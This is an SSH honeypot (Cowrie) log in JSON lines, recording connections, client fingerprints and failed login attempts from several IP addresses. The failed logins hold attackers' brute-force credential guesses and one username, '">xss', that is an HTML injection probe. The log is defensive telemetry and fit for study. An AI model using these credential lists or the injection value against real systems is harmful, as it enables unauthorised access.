{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:25.699351Z","src_ip":"84.239.42.8","session":"9e91bff4d12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:25.828254Z","src_ip":"84.239.42.8","session":"9e91bff4d12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\">xss","password":"root","message":"login attempt [\">xss/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:26.326763Z","src_ip":"84.239.42.8","session":"9e91bff4d12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:27.458817Z","src_ip":"84.239.42.8","session":"9e91bff4d12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":37442,"dst_ip":"10.17.0.5","dst_port":22,"session":"1530f53ab696","protocol":"ssh","message":"New connection: 211.254.212.59:37442 (10.17.0.5:22) [session: 1530f53ab696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:30.696306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:30.702127Z","src_ip":"211.254.212.59","session":"1530f53ab696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:30.899401Z","src_ip":"211.254.212.59","session":"1530f53ab696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:31.716678Z","src_ip":"211.254.212.59","session":"1530f53ab696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:32.916686Z","src_ip":"211.254.212.59","session":"1530f53ab696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":52940,"dst_ip":"10.17.0.5","dst_port":22,"session":"010000507f4a","protocol":"ssh","message":"New connection: 103.228.69.212:52940 (10.17.0.5:22) [session: 010000507f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:48.126490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:48.131723Z","src_ip":"103.228.69.212","session":"010000507f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:48.362621Z","src_ip":"103.228.69.212","session":"010000507f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:49.318869Z","src_ip":"103.228.69.212","session":"010000507f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:50.553452Z","src_ip":"103.228.69.212","session":"010000507f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":54286,"dst_ip":"10.17.0.5","dst_port":22,"session":"213bac9a2e6d","protocol":"ssh","message":"New connection: 211.254.212.59:54286 (10.17.0.5:22) [session: 213bac9a2e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:30.648529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:30.653615Z","src_ip":"211.254.212.59","session":"213bac9a2e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:30.859471Z","src_ip":"211.254.212.59","session":"213bac9a2e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:31.711659Z","src_ip":"211.254.212.59","session":"213bac9a2e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48762,"dst_ip":"10.17.0.5","dst_port":22,"session":"810392d06283","protocol":"ssh","message":"New connection: 80.94.92.186:48762 (10.17.0.5:22) [session: 810392d06283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:32.533240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:32.778509Z","src_ip":"80.94.92.186","session":"810392d06283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:32.786293Z","src_ip":"80.94.92.186","session":"810392d06283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:32.919198Z","src_ip":"211.254.212.59","session":"213bac9a2e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:34.153380Z","src_ip":"80.94.92.186","session":"810392d06283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:35.500569Z","src_ip":"80.94.92.186","session":"810392d06283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":41594,"dst_ip":"10.17.0.5","dst_port":22,"session":"354ca50eddcd","protocol":"ssh","message":"New connection: 103.228.69.212:41594 (10.17.0.5:22) [session: 354ca50eddcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:45.963602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:45.968614Z","src_ip":"103.228.69.212","session":"354ca50eddcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:46.197489Z","src_ip":"103.228.69.212","session":"354ca50eddcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:47.147353Z","src_ip":"103.228.69.212","session":"354ca50eddcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:29:48.380966Z","src_ip":"103.228.69.212","session":"354ca50eddcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22774,"dst_ip":"159.203.135.109","dst_port":22,"session":"712c83e262b5","protocol":"ssh","message":"New connection: 2.57.121.25:22774 (159.203.135.109:22) [session: 712c83e262b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:01.761507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:01.776942Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:01.889750Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27071992","message":"login attempt [user/27071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:02.354413Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"270289","message":"login attempt [user/270289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:03.454954Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27021979","message":"login attempt [user/27021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:04.554528Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27011993","message":"login attempt [user/27011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:05.656838Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27011980","message":"login attempt [user/27011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:06.758702Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:07.860466Z","src_ip":"2.57.121.25","session":"712c83e262b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":42898,"dst_ip":"10.17.0.5","dst_port":22,"session":"683de3cfb17c","protocol":"ssh","message":"New connection: 211.254.212.59:42898 (10.17.0.5:22) [session: 683de3cfb17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:30.743962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:30.749991Z","src_ip":"211.254.212.59","session":"683de3cfb17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:30.955424Z","src_ip":"211.254.212.59","session":"683de3cfb17c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:31.794219Z","src_ip":"211.254.212.59","session":"683de3cfb17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:30:32.999138Z","src_ip":"211.254.212.59","session":"683de3cfb17c","protocol":"ssh"}
